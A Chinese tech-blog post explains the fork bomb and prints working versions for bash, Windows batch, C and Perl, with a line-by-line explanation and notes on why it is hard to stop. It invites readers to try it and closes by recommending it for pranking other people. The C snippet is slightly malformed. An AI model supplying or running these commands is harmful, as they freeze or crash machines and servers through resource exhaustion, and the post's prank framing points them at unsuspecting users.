一条命令搞死电脑/VPS服务器的Fork炸弹 - 小Q博客

这资源网快要荒废了 连续3天都没有更新文章了 | 共分享了个资源

一条命令搞死电脑/VPS服务器的Fork炸弹

本文作者: 小Q博客     发布于「2019-10-5」 -  技术教程分享

作者: 小Q博客

全网最全的网络资源分享网站

手机扫码查看

特别声明:文章多为网络转载,资源使用一般不提供任何帮助,特殊资源除外,如有侵权请联系!

这个坑爹大炸弹叫”Fork bomb”,2002年由Jaromil设计,通过不断fork出新的进程,一生二,二生四,四生八…然后指数爆炸,迅速耗光电脑资源。(就和细菌繁殖差不多…)进程递归式派生(fork,亦即自我复制),以使系统拒绝服务甚至崩溃。

命令如下:

:(){ :|:& };:
具体命令 ,如上,获取你觉得好简单,但是实际运行的话,呵呵呵呵…用自己电脑开Linux运行,结果…笔记本…然后我拔掉了电池…你可是试一下哈~~
以下程序段就是由Jaromil所作的在类UNIX系统的shell环境下触发fork炸弹的shell脚本代码,总共只用了13个字符(包括空格):
:(){ :|:& };:
注解如下:
:() # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码
{ # ":"函数开始标识
: # 用递归方式调用":"函数本身
| # 并用管道(pipe)将其输出引至...
: # 另一次递归调用的":"函数
# 综上,":|:"表示的即是每次调用函数":"的时候就会生成两份拷贝
& # 调用间脱钩,以使最初的":"函数被杀死后为其所调用的两个":"函数还能继续执行
} # ":"函数结束标识
; # ":"函数定义结束后将要进行的操作...
: # 调用":"函数,"引爆"fork炸弹
其中函数名“:”只是简化的一例,实际实现时可以随意设定,一个较易理解(将函数名替换为“forkbomb”)的版本如下:
forkbomb(){ forkbomb|forkbomb &} ; forkbomb
Windows下则可以批处理命令如下实现:
%0|%0
POSIX标准下的C与C++的实现:
#include int main(){while(1) fork();return0;}
Perl语言的实现:
fork while fork

在系统中成功“引爆”fork炸弹后,我们可重启来使系统恢复正常运行;

而若要以手动的方法使fork炸弹“熄火”,那前提就是必须杀死fork炸弹产生的所有进程。

为此我们可以考虑使用程序来杀死fork炸弹产生的进程,但由于这一般需要创建新进程,且由于fork炸弹一直在探测与占用进程槽与内存空间,因而这一方法几乎不可能实现,而且用kill命令杀死进程后,释放出的进程槽又会被余下的fork炸弹线程所产生的新进程占用,在Windows下,用户可以退出当前用户会话的方式使系统恢复正常,但此法奏效的前提是fork炸弹是在该用户的特定会话内触发的。

所以,如果觉得自己家电脑不爽,或者要坑坑人,那么fork炸弹就是首选咯~

分享到:
打赏

本站开启投稿功能注册账号即可投稿
头像
本文作者描述: 专注于网络资源娱乐技术教程分享
文章版权信息

阅读时间:  发布于:2019-10-5
本文标题:一条命令搞死电脑/VPS服务器的Fork炸弹
本文链接:http://www.xiaoqbk.com/535.html
版权声明:文章为《 小Q博客》原创,转载请保留出处!

百度:[百度已收录]360:[360已收录]搜狗:[搜狗已收录]

评论

未显示?请点击刷新
切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏